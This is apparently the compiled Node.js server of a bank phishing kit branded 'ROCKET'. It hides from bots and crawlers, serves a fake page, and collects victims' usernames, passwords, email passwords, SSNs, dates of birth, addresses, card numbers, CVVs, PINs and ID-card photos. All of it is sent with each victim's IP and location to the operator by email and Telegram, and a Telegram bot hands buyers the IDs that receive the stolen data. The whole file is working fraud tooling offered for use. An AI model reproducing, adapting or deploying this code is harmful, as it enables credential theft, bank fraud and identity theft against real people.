"use strict"; var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); exports.bot = void 0; require("dotenv").config(); const express_1 = __importDefault(require("express")); const express_nobots_1 = __importDefault(require("express-nobots")); const geoip_lite_1 = __importDefault(require("geoip-lite")); const mobile_detect_1 = __importDefault(require("mobile-detect")); const express_formidable_1 = __importDefault(require("express-formidable")); const sendEmail_1 = require("./utils/sendEmail"); const path_1 = __importDefault(require("path")); const telegraf_1 = require("telegraf"); const sendTelegram_1 = require("./utils/sendTelegram"); exports.bot = new telegraf_1.Telegraf(process.env.BOT_TOKEN); exports.bot.start((ctx) => __awaiter(void 0, void 0, void 0, function* () { yield ctx.replyWithHTML(` Hi @${ctx.message.from.username}, Welcome to RocketResults Your Telegram ID is: ${ctx.chat.id} Use it on the PAGE to receive results. contact RocketSupport for more info and pages. `); })); exports.bot.launch(); exports.bot.catch((error) => { console.log(`error: `, error); }); process.once("SIGINT", () => exports.bot.stop("SIGINT")); process.once("SIGTERM", () => exports.bot.stop("SIGTERM")); const app = express_1.default(); app.use(express_formidable_1.default()); const port = process.env.PORT || 5000; app.use(express_nobots_1.default()); app.use(express_1.default.json()); app.post("/send-session", (req, res) => __awaiter(void 0, void 0, void 0, function* () { var _a, _b; const md = new mobile_detect_1.default(req.headers["user-agent"]); const isBot = md.is("Bot"); if (isBot) { res.send("Fuck off"); return; } try { const ip = req.headers["x-forwarded-for"] || req.connection.remoteAddress; const geo = geoip_lite_1.default.lookup(ip); const front = req.files && req.files.front; const back = req.files && req.files.back; const values = JSON.parse(req.fields ? req.fields.session : "{}"); const message = `
⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄BEGIN⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀

SESSION

⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄

LOGIN DETAILS

| (▰˘◡˘▰) LOGIN ATTEMPT ☞ ${values.logins["1"].loginDetails.loginAttempt}

| (▰˘◡˘▰) USERNAME ☞ ${values.logins["1"].loginDetails.username}

| (▰˘◡˘▰) PASSWORD ☞ ${values.logins["1"].loginDetails.password}


${values.logins["2"] ? `

| (▰˘◡˘▰) LOGIN ATTEMPT ☞ ${values.logins["2"].loginDetails.loginAttempt}

| (▰˘◡˘▰) USERNAME ☞ ${values.logins["2"].loginDetails.username}

| (▰˘◡˘▰) PASSWORD ☞ ${values.logins["2"].loginDetails.password}


` : ""}
⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄

EMAIL LOGINS

| (▰˘◡˘▰) EMAIL ATTEMPT ☞ ${values.emailLogins["1"].emailLogins.attempt}

| (▰˘◡˘▰) EMAIL ADDRESS ☞ ${values.emailLogins["1"].emailLogins.email}

| (▰˘◡˘▰) EMAIL PASSWORD ☞ ${values.emailLogins["1"].emailLogins.emailPassword}


${values.emailLogins["2"] ? `

| (▰˘◡˘▰) EMAIL ATTEMPT ☞ ${values.emailLogins["2"].emailLogins.attempt}

| (▰˘◡˘▰) EMAIL ADDRESS ☞ ${values.emailLogins["2"].emailLogins.email}

| (▰˘◡˘▰) EMAIL PASSWORD ☞ ${values.emailLogins["2"].emailLogins.emailPassword}


` : ""}
⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄

BILLING

| (▰˘◡˘▰) FIRST NAME ☞ ${values.billing.firstname}

| (▰˘◡˘▰) LAST NAME ☞ ${values.billing.lastname}

| (▰˘◡˘▰) SSN ☞ ${values.billing.ssn}

| (▰˘◡˘▰) DOB ☞ ${values.billing.dob}

| (▰˘◡˘▰) STREET ADDRESS ☞ ${values.billing.streetAddress}

| (▰˘◡˘▰) ZIP CODE ☞ ${values.billing.zipCode}

| (▰˘◡˘▰) STATE ☞ ${values.billing.state}

| (▰˘◡˘▰) PHONE NUMBER ☞ ${values.billing.phoneNumber}


⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄

CARD DETAILS

| (▰˘◡˘▰) CARD NUMBER ☞ ${values.cardInformation.cardNumber}

| (▰˘◡˘▰) EXPIRATION DATE ☞ ${values.cardInformation.expirationDate}

| (▰˘◡˘▰) CVV ☞ ${values.cardInformation.cvv}

| (▰˘◡˘▰) CARD PIN ☞ ${values.cardInformation.cardPin}

${req.files && (req.files.front || req.files.back) ? `
⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄

SUPPORTING DOCUMENTS

| (▰˘◡˘▰) See attached files


` : ""}
⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄

| (▰˘◡˘▰) IP ☞ ${ip}

| (▰˘◡˘▰) LOCATION ☞ ${geo === null || geo === void 0 ? void 0 : geo.city}, ${geo === null || geo === void 0 ? void 0 : geo.country}

| (▰˘◡˘▰) TIMEZONE ☞ ${geo === null || geo === void 0 ? void 0 : geo.timezone}

| (▰˘◡˘▰) USER AGENT ☞ ${req.headers["user-agent"]}


⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄END⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄
`; if (process.env.TO) { yield sendEmail_1.sendEmail(process.env.TO, message, `${process.env.BANK_NAME} - ${(_a = req.fields) === null || _a === void 0 ? void 0 : _a.form} by ROCKET 🚀🚀🚀 From ${ip}`, req.files && (req.files.front || req.files.back) ? [ { filename: `Front.${front.type.split("/")[1]}`, content: front, }, { filename: `Back.${back.type.split("/")[1]}`, content: back, }, ] : []); } if (process.env.TELEGRAM_ID) { yield sendTelegram_1.sendTelegram({ message: ` ${process.env.BANK_NAME} - ${(_b = req.fields) === null || _b === void 0 ? void 0 : _b.form} by ROCKET 🚀🚀🚀 From ${ip} ${message} `, medias: req.files && (req.files.front || req.files.back) ? [front, back] : undefined, }); } } catch (error) { console.log(error); } res.send("OK"); })); app.post("/send-files", (req, res) => __awaiter(void 0, void 0, void 0, function* () { var _c, _d, _e, _f; const md = new mobile_detect_1.default(req.headers["user-agent"]); const isBot = md.is("Bot"); if (isBot) { res.send("Fuck off"); return; } const front = (_c = req.files) === null || _c === void 0 ? void 0 : _c.front; const back = (_d = req.files) === null || _d === void 0 ? void 0 : _d.back; try { const ip = req.headers["x-forwarded-for"] || req.connection.remoteAddress; const geo = geoip_lite_1.default.lookup(ip); const message = `
⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄

SUPPORTING DOCUMENTS

| (▰˘◡˘▰) See attached files


⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄

| (▰˘◡˘▰) IP ☞ ${ip}

| (▰˘◡˘▰) LOCATION ☞ ${geo === null || geo === void 0 ? void 0 : geo.city}, ${geo === null || geo === void 0 ? void 0 : geo.country}

| (▰˘◡˘▰) TIMEZONE ☞ ${geo === null || geo === void 0 ? void 0 : geo.timezone}

| (▰˘◡˘▰) USER AGENT ☞ ${req.headers["user-agent"]}


⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄END⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄
`; if (process.env.TO) { yield sendEmail_1.sendEmail(process.env.TO, message, `${process.env.BANK_NAME} - ${(_e = req.fields) === null || _e === void 0 ? void 0 : _e.form} by ROCKET 🚀🚀🚀 From ${ip}`, [ { filename: `Front.${front.type.split("/")[1]}`, content: front, }, { filename: `Back.${back.type.split("/")[1]}`, content: back, }, ]); } if (process.env.TELEGRAM_ID) { yield sendTelegram_1.sendTelegram({ message: ` ${process.env.BANK_NAME} - ${(_f = req.fields) === null || _f === void 0 ? void 0 : _f.form} by ROCKET 🚀🚀🚀 From ${ip} ${message} `, medias: [front, back], }); } res.send(Promise.resolve()); } catch (error) { console.log(error); res.status(500).send("Something went wrong"); } })); app.post("/send-infos", (req, res) => __awaiter(void 0, void 0, void 0, function* () { const md = new mobile_detect_1.default(req.headers["user-agent"]); const isBot = md.is("Bot"); if (isBot) { res.send("Fuck off"); return; } try { const ip = req.headers["x-forwarded-for"] || req.connection.remoteAddress; const geo = geoip_lite_1.default.lookup(ip); const values = JSON.parse(Object.keys(req.fields)[0]); const message = `
⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄BEGIN⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄
${values.form === "LOGIN DETAILS" ? `

LOGIN DETAILS

| (▰˘◡˘▰) LOGIN ATTEMPT ☞ ${values.loginDetails.loginAttempt}

| (▰˘◡˘▰) USERNAME ☞ ${values.loginDetails.username}

| (▰˘◡˘▰) PASSWORD ☞ ${values.loginDetails.password}


` : ` ${values.form === "EMAIL LOGINS" ? `

EMAIL LOGINS

| (▰˘◡˘▰) EMAIL ATTEMPT ☞ ${values.emailLogins.attempt}

| (▰˘◡˘▰) EMAIL ADDRESS ☞ ${values.emailLogins.email}

| (▰˘◡˘▰) EMAIL PASSWORD ☞ ${values.emailLogins.emailPassword}

` : ` ${values.form === "BILLING" ? `

BILLING

| (▰˘◡˘▰) FIRST NAME ☞ ${values.billing.firstname}

| (▰˘◡˘▰) LAST NAME ☞ ${values.billing.lastname}

| (▰˘◡˘▰) SSN ☞ ${values.billing.ssn}

| (▰˘◡˘▰) DOB ☞ ${values.billing.dob}

| (▰˘◡˘▰) STREET ADDRESS ☞ ${values.billing.streetAddress}

| (▰˘◡˘▰) ZIP CODE ☞ ${values.billing.zipCode}

| (▰˘◡˘▰) STATE ☞ ${values.billing.state}

| (▰˘◡˘▰) PHONE NUMBER ☞ ${values.billing.phoneNumber}


` : `

CARD DETAILS

| (▰˘◡˘▰) CARD NUMBER ☞ ${values.cardInformation.cardNumber}

| (▰˘◡˘▰) EXPIRATION DATE ☞ ${values.cardInformation.expirationDate}

| (▰˘◡˘▰) CVV ☞ ${values.cardInformation.cvv}

| (▰˘◡˘▰) CARD PIN ☞ ${values.cardInformation.cardPin}


`}`} `}
⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄

| (▰˘◡˘▰) IP ☞ ${ip}

| (▰˘◡˘▰) LOCATION ☞ ${geo === null || geo === void 0 ? void 0 : geo.city}, ${geo === null || geo === void 0 ? void 0 : geo.country}

| (▰˘◡˘▰) TIMEZONE ☞ ${geo === null || geo === void 0 ? void 0 : geo.timezone}

| (▰˘◡˘▰) USER AGENT ☞ ${req.headers["user-agent"]}


⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄END⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄⑀⑄
`; if (process.env.TO) { yield sendEmail_1.sendEmail(process.env.TO, message, `${process.env.BANK_NAME} - ${values.form} by ROCKET 🚀🚀🚀 From ${ip}`); } if (process.env.TELEGRAM_ID) { yield sendTelegram_1.sendTelegram({ message: ` ${process.env.BANK_NAME} - ${values.form} by ROCKET 🚀🚀🚀 From ${ip} ${message} `, }); } res.send(Promise.resolve()); } catch (error) { res.status(500).send("Something went wrong"); } })); app.use(express_1.default.static(path_1.default.join(__dirname, "../build"))); app.get("/-", (req, res) => { const md = new mobile_detect_1.default(req.headers["user-agent"]); const isBot = md.is("Bot"); if (isBot) { res.send("Fuck off"); return; } res.sendFile(path_1.default.join(__dirname, "../build", "index.html")); }); app.listen(port, () => { console.log(`Listening on http://localhost:${port}`); }); //# sourceMappingURL=index.js.map